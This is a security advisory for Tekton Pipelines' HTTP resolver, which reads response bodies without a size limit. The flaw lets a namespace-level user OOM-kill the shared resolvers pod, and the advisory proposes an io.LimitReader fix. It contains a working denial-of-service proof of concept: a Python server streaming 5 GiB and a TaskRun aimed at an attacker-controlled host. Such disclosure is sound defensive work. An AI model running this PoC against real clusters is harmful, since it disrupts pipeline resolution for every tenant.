GHSA-m2cx-gpqf-qf74 — pipeline

Summary

The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.

Details

pkg/resolution/resolver/http/resolver.go:279–307:

func FetchHttpResource(ctx context.Context, params map[string]string,
    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {

    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute
    // ...
    resp, err := httpClient.Do(req)
    // ...
    defer func() { _ = resp.Body.Close() }()

    body, err := io.ReadAll(resp.Body)  // ← no size limit
    if err != nil {
        return nil, fmt.Errorf("error reading response body: %w", err)
    }
    // ...
}

makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.

PoC

# Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        # Stream 5 GB at full speed — completes in <60s on a local network
        chunk = b"X" * (1024 * 1024)  # 1 MiB chunk
        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB
            self.wfile.write(chunk)

    def log_message(self, *args):
        pass

with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
    httpd.serve_forever()
EOF

# Step 2: Create a TaskRun that triggers the HTTP resolver
kubectl create -f - <<'EOF'
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: dos-poc
  namespace: default
spec:
  taskRef:
    resolver: http
    params:
      - name: url
        value: http://attacker-server.internal:8080/large-payload
EOF

# Expected result: tekton-pipelines-resolvers pod is OOM-killed.
# All resolver types in the cluster (git, hub, bundle, cluster, http)
# become unavailable until Kubernetes restarts the pod.
# Repeated submission causes a crash loop that continuously disrupts
# resolution for all tenants in the cluster.

Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.

Impact

• Denial of Service: OOM-kill of the tekton-pipelines-resolvers pod denies all resolution services cluster-wide until Kubernetes restarts the pod.
• Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
• Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.

Recommended Fix

Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):

const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB

// In FetchHttpResource, replace:
//   body, err := io.ReadAll(resp.Body)
// with:
maxBytes := int64(defaultMaxBodyBytes)
if v, ok := conf["max-body-size"]; ok {
    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {
        maxBytes = parsed
    }
}
limitedReader := io.LimitReader(resp.Body, maxBytes+1)
body, err := io.ReadAll(limitedReader)
if err != nil {
    return nil, fmt.Errorf("error reading response body: %w", err)
}
if int64(len(body)) > maxBytes {
    return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes)
}

This fix must be applied to FetchHttpResource in pkg/resolution/resolver/http/resolver.go, which is shared by both the deprecated and current HTTP resolver implementations.